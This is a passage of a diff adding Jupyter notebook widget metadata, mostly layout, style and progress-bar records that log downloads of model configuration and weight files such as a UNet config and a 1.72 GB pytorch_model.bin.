+ "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0cf91d0dc45340f19f6a7a2804000145": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3eec3e2c3abe40efb74a05a67bf755a0", + "placeholder": "​", + "style": "IPY_MODEL_e288ede57ad84b2bb455ba18016c68d8", + "value": " 577/577 [00:00<00:00, 11.8kB/s]" + } + }, + "0d2fba8088804ecab806472f5396f1bc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bc42d1c7cdcd4064a1dbcc3eb1f3009b", + "max": 511, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_fe3c4a4e4c8b4752a1f1d88da73fb808", + "value": 511 + } + }, + "0e46fe7538ed4df9b8fa1f36b4b35cdd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ec377a46cf8647ff891a920c46897786", + "max": 901, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_4e264808109e4b52983260067550883e", + "value": 901 + } + }, + "115b71885ef241fb8884e8de28dfdb8c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "12808180b0b64ecd90839c791134b5fb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "134ae8a21fc2489e9e7524eb856ef778": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "13e357cba1ee4e31887f2c260f2cea15": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5573d97394b144d6b8f4065bf81e6d05", + "max": 524619, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_245a11e3ca454d26895c46a5c08be822", + "value": 524619 + } + }, + "14bc95aacebc43a8877bc36c58effccf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_30f32feefcbd486c86cb68c927dd9fca", + "IPY_MODEL_0e46fe7538ed4df9b8fa1f36b4b35cdd", + "IPY_MODEL_6e0be2c85237496eb97b53963654dffa" + ], + "layout": "IPY_MODEL_9c751e805d96415d9608c2422906d76e" + } + }, + "163075971def4198b5cc7a0d5ec3c81d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1923427b93ae424bb5d91bab418506a9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1997648c2dc946e1bdb18d2730175ea8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ac3ea0ea867b4c30bd4be87aaa602d42", + "placeholder": "​", + "style": "IPY_MODEL_ff0910f0831b49ac9faaba1e70c275dc", + "value": "100%" + } + }, + "1cfa604ca2924c25930887b466ac3e9b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1d6c6e3129bc4702afae1facf2b8ba6b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "20396dbdc36b47538a5fd6b522478b67": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "209020cdb39942178adbc7cc3acf1cb0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "21d9342ed95d4bf0959647ef57fceb97": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ad2f2fd194ac4bca909e5af122370e3d", + "max": 472, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_0c34c9ecc697483e831333d67a48ff32", + "value": 472 + } + }, + "221469404d3946f39b4c97e708385b88": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_37ceac6f039642cab04a03a8afb9f301", + "placeholder": "​", + "style": "IPY_MODEL_0ce4a494f2274147b9005aa03358b263", + "value": " 1.72G/1.72G [00:15<00:00, 123MB/s]" + } + }, + "22d3e015ffd24db8aa145fab92c1901c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "23cd6b916dfe4e5faa4021cf02d07f53": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "245a11e3ca454d26895c46a5c08be822": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "2496cd9b6ee640f8a6d398b7a56f93b7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_fc5d5de2233543eba400877e7891977a", + "max": 50, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f9a2bf4d86ab403d9e1c7378e91bf467", + "value": 50 + } + }, + "260d5617f5e247f3a978a28d5fe72740": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "26aac0b253ba4e2e8f19acfa0bead5a7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "26b8bf61f8e44014a005ed10835f68b5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "2733152e7214400abdf0e793358181b3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "28cd65b9d6f946abab83e430ab6d2017": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "29f58c06e0474f4e8f411aaaceb4d7f7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2c63224632c04b159f2c9453e4ca3c15": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_68b6a1a9d4c7422d9263e00cbd956be1", + "placeholder": "​", + "style": "IPY_MODEL_c79ef9b35d014fdfb9f88fc09e870d01", + "value": "Downloading (…)_encoder/config.json: 100%" + } + }, + "2e9985de92164304b5b4c8b723d24cf1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "30f32feefcbd486c86cb68c927dd9fca": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1923427b93ae424bb5d91bab418506a9", + "placeholder": "​", + "style": "IPY_MODEL_c99c614b55ba44fbb2927642128fba9b", + "value": "Downloading (…)0d5/unet/config.json: 100%" + } + }, + "32e55f352157421aa3e1fef5819b3587": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "341f088c9e0f4eb2ae3f4868b4dcb835": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "34714076cb4b479eab2c5ec6a6c7d50e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "35b84a2a8e0749268b14492abcf0af1f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3634354fd978434bbad0fd11d3e0b5fb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "37735d14a2614ffbbceaef743d2033a9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_341f088c9e0f4eb2ae3f4868b4dcb835", + "placeholder": "​", + "style": "IPY_MODEL_2733152e7214400abdf0e793358181b3", + "value": "Downloading pytorch_model.bin: 100%" + } + }, + "379e92c07edc4ad28165c8b0926746d5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_06a9b1722db8473597c3a6cf17dafa29", + "max": 12, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_621ceb287f8243f5a2952613c01f3f82", + "value": 12 + } + }, + "37af49a1966045ee992e01f45ff5df81": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "37ceac6f039642cab04a03a8afb9f301": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3a0dacdec71447a490820baf3a405580": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": 